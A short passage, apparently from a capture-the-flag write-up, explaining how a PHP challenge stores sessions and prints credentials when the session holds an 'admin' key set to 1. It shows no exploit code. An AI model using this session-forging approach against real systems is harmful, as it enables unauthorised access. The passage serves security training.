5. Checks if the "name" session variable exists and assigns its value to the $name variable.
The sessions are handled by session_set_save_handler
and are saved in a directory manually. The print_credentials()
prints our desired credentials if $_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1
. This means if there’s a $_SESSION
variable with a key “admin” and that the key has the value of “1”.